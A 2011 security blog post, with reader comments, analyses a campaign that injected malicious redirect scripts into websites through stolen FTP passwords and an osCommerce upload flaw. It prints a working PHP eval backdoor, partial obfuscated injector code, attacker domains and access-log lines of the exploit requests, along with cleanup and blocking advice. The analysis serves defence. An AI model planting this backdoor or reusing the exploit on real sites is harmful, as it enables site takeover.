Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Update on redef_colors/createCSS attack: PHP code, Backdoors and osCommerce.

   07 Apr 11   Filed in Website exploits

A few days ago, I blogged about the hacker attack that used the BlackHole toolkit and injected “createRSS” and “defs_colors” malicious scripts into legitimate websites. I’ve worked with a few webmasters of infected sites since then and now have some important additional information that I want to share here.

1. Script variations.

There are different “defs_colors” script variations. The most prevalent of them begin with:

if (typeof(redef_colors)=="undefined") {...

if (typeof color_arr == 'undefined') {...
try { if (colors_picked==0) {
document.location="hxxp://www.pradid .com/engine/right.php";
document.location="hxxp://protectionantiv .com/index2.php?06abQDIxQUeTA2nyontjiJH+KT47NnZueQtYeXKtAV5TMMd3QC6H";

2. Domain names

Here are some more domains names used by this attack:

protectionanthilliv .com,
protectionantfarmiv .com,
protectionadamantiv .com,
thescannerantiv .com,
searchableantiv .com,
scannpartheidvir .com,
combinationsaccannantivir .com,
scanagainantivirus .com,
anti-volt-free-virusscan .com,
pradid .com,
khcol .com,
chantier .ci,

3. PHP injections

PHP files may be infected with both HTML variations of the “redef_colors” scripts and their obfuscated PHP versions that look like this:

<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67,...skipped...51);
$tr = array(51, 5, 4, 3, 10, 26, 2, ...skipped...26, 2, 58);
$ob_htm = ''; foreach($tr as $tval) {
$ob_htm .= chr($tc[$tval]+32);
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);
return $s;
$ob_starting = time();
} ?>

4. Attack vectors

Unlike many other attacks, this one uses several different vectors. At this point I have quite reliable information about 2 of them:

  1. Stolen FTP passwords.
  2. Backdoor scripts uploaded using vulnerabilities in web applications.

Plus one more (not yet confirmed) vector: attacks on world-writable resources.

In this article I’ll share the information I gathered about the “backdoor” and “world-writable” scenarios.

5. osCommerce backdoor scenario.

I have analyzed access logs for a couple of hacked sites on two different servers and found similar traces of the malicious activity on both of them. This helps me reconstruct the attack step-by-step:

5.1 Vulnerability in osCommerce

To upload backdoor files, hackers use a known vulnerability in osCommerce.

In logs, it can be found if you search for POST requests to the following URL:


Here’s an example of such a request: - - [19/Mar/2011:09:34:53 -0400] "POST /admin/categories.php/login.php?action=new_product_preview HTTP/1.0" 200 13161 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13"

5.2 Backdoor file

As a result, a backdoor file with the following content appears on server:

<?php $w=showimg;if(isset($_GET[$w])){echo $w.chr(98).$w;$w=w;if(isset($_POST[$w])){$s=base64_decode(str_replace(chr(32),chr(43),$_POST[$w]));eval($s);}exit;}?>

This file can have different names on different sites and can be found in different directories.

5.3 Infection

Then, roughly once a day, hackers pass a PHP code in a POST request to this file. The code injects the malicious scripts into .html, .php and .js file in all accessible directories (even outside of /public_html).

Such request can be found in access logs if you search for php?showimg=1&cookies=1. Here are some examples: - - [15/Mar/2011:11:06:02 -0400] "POST /password_forgotten.php?showimg=1&cookies=1 HTTP/1.0" 200 633 "http://██████████████.com/password_forgotten.php?showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
... - - [19/Mar/2011:12:22:51 -0400] "POST /admin/backups/img-371076576817.php?showimg=1&showimg=1&cookies=1 HTTP/1.0" 200 790 "http://www.s█████████████.com/admin/backups/img-371076576817.php?showimg=1&showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
... - - [01/Apr/2011:03:59:59 -0300] "POST /cookie_usage.php?showimg=1&cookies=1 HTTP/1.1" 200 2829 "http://www.██████████.c█/cookie_usage.php?showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

Note, although these three records are from three different sites on three different servers, the requests comes from the same IP address –

Update (Apr 13th, 2011): Now they use the IP address.

6. “World-writable” scenario

This scenario is not confirmed yet. It’s just a guess.

I talked to people who found the malicious scripts injected into world-writable files only. It’s quite strange for the FTP scenario where hackers have enough permissions to modify any files. In case of the backdoor scenario, .php files are usually executed with the file owner permission (using suExec or suPHP) so any file can be modified. Moreover, I’ve seen the malicious scripts injected into files with 644 permissions (writable for their owner only).

So why, in that single reported case, were only world-writable files infected? I have two explanations:

  1. On servers that don’t use suExec or suPHP, hackers use some application security hole to upload backdoor scripts to world-writable directory. Then use it to infect other world-writable files.
  2. There is a backdoor script on a compromised neighbor account on the same server. Hackers figure out absolute paths of other sites on the same server (there are many tricks to do it) and feed those paths to their infection scripts. Naturally, they can only infect world-writable files on other accounts this way.

If you have more information or just guesses, please let me know.

7. Security tips

In addition to my general advices I made a couple of weeks ago, I have some more specific tips for you:

7.1 Find and remove all backdoor scripts! If hackers still have backdoor scripts on your server the rest tips make very little sense since hackers will be able to work around them

7.2 If you use osCommerce and can’t upgrade it to the latest version for some reason (even I find their upgrade instructions too complex and confusing!), you should passwords-protect the whole /admin directory. The most prevalent osCommerce attacks use vulnerabilities in files in this directory. If you password-protect it, hackers won’t be able to access vulnerable files (of course, if they can’t guess the passwords).

7.3 Block the and IP addresses. Hackers use it to infect websites via backdoor files. Of course, they can easily change the IP address, but blocking it can still be a good idea. At least you don’t lose anything since this is an address of a server on the Bluehost network, so can’t be used by a normal human visitor.

Here is an example of .htaccess code that blocks this IP address

# Begin IP blocking #
Order Allow,Deny
Deny from
Deny from
Allow from all
# End IP blocking #

7.4 Make sure there are no world-writable files and directories – they are an obvious security hole.


If you have examples of how log analyses can reveal malicious activity, I’d be interested in in hearing your story.

Related posts:

Reader's Comments (4)

  1. |

    I just saw this attach happen live (sorta) on an osCommerce site that has been getting abused every few days. I was checking to see if anything happened over night. One second I did an ‘ls -trah’ and things were fine, 10 seconds later I did another and all the PHP file dates were updated. All I got from the access logs were this. - - [20/May/2011:11:23:34 -0400] "POST /password_forgotten.php?showimg=1&cookies=1 HTTP/1.1" 200 2193 "" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

    I’m still digging around and if I find anything new I’ll post back.

  2. |

    Thanks for this, I have a website attacked as described about – I found this article very useful. However, I’m not sure how to fix it, should I search each file for the code you provided above?


    • |

      Yes you should either search every file (can be automated) or replace everything with a clean backup copy. It helps if your files are under revision control and you can simply revert changes.